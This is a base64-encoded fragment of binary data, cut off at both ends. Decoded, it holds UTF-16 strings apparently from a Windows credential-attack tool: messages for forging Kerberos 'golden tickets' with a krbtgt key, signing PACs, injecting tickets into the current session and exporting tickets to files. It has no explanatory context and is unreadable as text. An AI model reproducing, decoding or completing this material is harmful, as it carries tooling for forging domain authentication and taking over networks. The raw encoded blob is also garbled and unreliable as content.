BMAGkAcwB0ACAAdABpAGMAawBlAHQAcwAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAqACAARABpAHIAZQBjAHQAbwByAHkAOgAgACcAJQBzACcACgAAAAAAKgAuAGsAaQByAGIAaQAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAAAAAAAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAAAAAACAAOwAgAAAAAAAAAAAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAAAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAAAGsAaQByAGIAaQAAAAAAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAB0AGsAdAAAAG4AbwBjAGEAYwBoAGUAAAB0AGEAcgBnAGUAdAAAAAAAcgBjADQAAABkAGUAcwAAAGEAZQBzADIANQA2AAAAAABhAGUAcwAxADIAOAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAAAAAAAAAAAAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAAAAAAAAAAAAAIAAgACAAKgAgAE4AbwBDAGEAYwBoAGUAOgAgAGUAeABwAG8AcgB0AGUAZAAgAHQAaQBjAGsAZQB0ACAAbQBhAHkAIAB2AGEAcgB5ACAAdwBpAHQAaAAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAoAIAAgACAAKgAgAFQASwBUACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAKgAgAEsAaQBSAEIAaQAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASw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BlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAACQAqACAAJQBzACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAAAAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAAAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAAAAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAACwAAAA9AAAAfAAAAAAAAABDAGwAYQBpAG0AcwBbACUAdQBdAAoAAAAgACAAUwBvAHUAcgBjAGUAVAB5AHAAZQA6ACAAJQBoAHUACgAAAAAAIAAgAEUAbgB0AHIAaQBlAHMAWwAlAHUAXQAKAAAAAA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